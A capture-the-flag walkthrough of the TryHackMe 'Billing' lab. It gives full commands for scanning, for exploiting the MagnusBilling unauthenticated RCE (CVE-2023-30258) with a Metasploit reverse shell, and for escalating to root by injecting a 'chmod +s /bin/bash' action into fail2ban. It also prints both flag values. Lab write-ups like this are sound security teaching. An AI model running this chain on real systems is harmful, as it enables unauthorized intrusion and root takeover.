Billing
Overview
Discovered a MagnusBilling instance on port 80, found a known unauthenticated RCE exploit for it, and used it to land an initial shell. From there, located the user flag in the magnus home directory. Escalated to root by abusing fail2ban's ability to execute scripts as root, injecting a payload and triggering it through failed SSH attempts.
Reconnaissance
Nmap Scan
First I ran an nmap scan, scanning all ports, with basic NSE scripts and an aggressive scan.
nmap -sV -sC -A -T4 billing.thm
The scan returned several open ports. Port 22 running OpenSSH 9.2p1, port 80 running Apache 2.4.62, port 3306 running MariaDB (unauthorized), and port 5038 running Asterisk Call Manager 2.10.6. The HTTP title pointed to MagnusBilling and the robots.txt disallowed entry was /mbilling/, which is worth noting for later. OS fingerprinting confirmed a Linux kernel host.
Web Enumeration
Next I visited the webpage and navigated to the disallowed entry /mbilling/ which revealed an auth portal. I ran whatweb to enumerate tech stacks and gobuster for further directory brute forcing.
whatweb http://billing.thm/mbilling/
gobuster dir -w /usr/share/wordlists/dirb/big.txt -u http://billing.thm -t 25
Gobuster returned .htaccess, .htpasswd, and robots.txt, all either 403 or 200. Nothing significant beyond what we already knew. I also tested the auth portal to see how it handled failed login attempts.
After three failed attempts the portal blocked my IP for five minutes. Noted, brute forcing this directly isn't viable without rotating IPs.
Initial Foothold
Searchsploit - Unauthenticated RCE
Rather than attacking the login portal, I ran searchsploit against MagnusBilling and found a known unauthenticated RCE CVE.
searchsploit magnusbilling
This is CVE-2023-30258, an unauthenticated remote code execution vulnerability in MagnusBilling. I loaded the Metasploit module and configured my options.
use exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258
set RHOSTS 10.65.171.42
set LHOST 192.168.206.16
run
The exploit confirmed command injection was possible, executed a PHP reverse TCP payload, and opened a Meterpreter session as asterisk. There wasn't much to work with directly in Meterpreter so I upgraded to a proper shell using Python's PTY module.
python3 -c 'import pty; pty.spawn("/bin/bash")'
We're now in a stable bash shell as asterisk.
Flag Capture
User Flag
First thing I looked for was the user flag. The find command gave me a direct path.
find / -name "user.txt" 2>/dev/null
# /home/magnus/user.txt
I backtracked from the deep webroot directory to /var/www and noticed a tmpmagnus directory with full read/write permissions for everyone. From there I was able to cat out the user flag directly.
cd /var/www/tmpmagnus
cat /home/magnus/user.txt
User Flag: THM{4a6831d5f124b25eefb1e92e0f0da4ca}
Journey2Root
For root I needed to escalate privileges. I started enumerating and noticed fail2ban was running. Fail2ban is a security tool that bans IP addresses after a certain number of failed login attempts; but more importantly, it runs as root and executes action scripts when banning IPs. If you can write to those action files, code runs as root.
ls -al | grep fail
I used fail2ban-client to enumerate the active jails and found the sshd jail was configured with the iptables-multiport action. This is the action that triggers on failed SSH login attempts; our privilege escalation vector.
sudo fail2ban-client get sshd actions
# iptables-multiport
Checking permissions on the action config showed read-only access, so I couldn't edit the file directly. Instead I used fail2ban-client to inject a malicious actionban payload that would run when an IP got banned; specifically, setting the SUID bit on bash to give us a root shell.
sudo fail2ban-client set sshd action iptables-multiport actionban "chmod +s /bin/bash"
With the payload set, I triggered the ban from my attacker machine by spamming SSH login attempts with an invalid user.
for i in {1..10}; do ssh invaliduser@10.65.171.42; done
After the ban triggered and fail2ban executed the action as root, I confirmed the SUID bit was set on bash, then dropped into a root shell.
ls -la /bin/bash
# -rwsr-sr-x 1 root root 1265648 Apr 18 2025 /bin/bash
/bin/bash -p
bash-5.2# cat /root/root.txt
Root Flag: THM{33ad5b530e71a172648f424ec23fae60}